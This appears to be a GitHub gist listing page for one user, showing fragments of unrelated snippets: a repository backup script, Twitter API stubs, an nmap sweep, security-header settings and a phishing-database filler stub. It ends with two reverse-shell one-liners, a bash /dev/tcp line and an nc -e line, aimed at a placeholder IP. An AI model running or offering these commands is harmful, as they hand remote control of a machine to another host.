Skip to content

Instantly share code, notes, and snippets.

#!/bin/bash
# A simple script to backup an organization's GitHub repositories.
GHBU_BACKUP_DIR=${GHBU_BACKUP_DIR-"github-backups"} # where to place the backup files
GHBU_ORG=${GHBU_ORG-"<CHANGE-ME>"} # the GitHub organization whose repos will be backed up
# (if you're backing up a user's repos instead, this should be your GitHub username)
GHBU_UNAME=${GHBU_UNAME-"<CHANGE-ME>"} # the username of a GitHub account (to use with the GitHub API)
GHBU_PASSWD=${GHBU_PASSWD-"<CHANGE-ME>"} # the password for that account
GHBU_GITHOST=${GHBU_GITHOST-"github.com"} # the GitHub hostname (see comments)
GHBU_PRUNE_OLD=${GHBU_PRUNE_OLD-true} # when `true`, old backups will be deleted

Keybase proof

I hereby claim:

  • I am avarx on github.
  • I am avarx (https://keybase.io/avarx) on keybase.
  • I have a public key whose fingerprint is E043 7DD7 0B1D 7B8D 0F03 F69E 4EE1 E96E 5645 9B7E

To claim this, I am signing this object:

import tweepy
import json
# Authentication details. To obtain these visit dev.twitter.com
consumer_key = 'XXX'
consumer_secret = 'XXX'
access_token = 'XXX'
access_token_secret = 'XXX'
# This is the listener, resposible for receiving data
sudo nmap -sP 192.168.2.0/24 | awk '/^Nmap/{ip=$NF}/00:00:00/{print ip}'
@avarx
avarx / archvm.sh
Created October 25, 2016 18:31 — forked from Phaeilo/archvm.sh
Archlinux VM automated installation script.
#!/bin/bash
# The MIT License (MIT)
#
# Copyright (c) 2015 Philip Huppert
#
# Permission is hereby granted, free of charge, to any person obtaining a copy of
# this software and associated documentation files (the "Software"), to deal in
# the Software without restriction, including without limitation the rights to
# use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of
import twitter
ACCESS_KEY = 'xxxx'
ACCESS_SECRET = 'xxxx'
CONSUMER_KEY = 'xxxx'
CONSUMER_SECRET = 'xxxx'
t = twitter.Twitter(auth=twitter.OAuth(ACCESS_KEY, ACCESS_SECRET, CONSUMER_KEY, CONSUMER_SECRET))
def twitter_block_user(screen_name):
@avarx
avarx / .htaccess
Created March 12, 2018 14:30
securityheaders.io
###################
# START SEC Headers (https://securityheaders.io/)
###################
# HTTP Strict Transport Security
Header always set Strict-Transport-Security "max-age=31536000; includeSubDomains"
# Content Security Policy
Header always set Content-Security-Policy "default-src https: data: 'unsafe-inline' 'unsafe-eval'"
# Xss-Protection
@avarx
avarx / shishing
Last active March 22, 2018 14:58
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# Fill up phishers' DB
def main():
""" Main program """
# Coming...
return 0
if __name__ == "__main__":
bash -i >& /dev/tcp/IP/443 0>&1
nc -e /bin/sh IP 443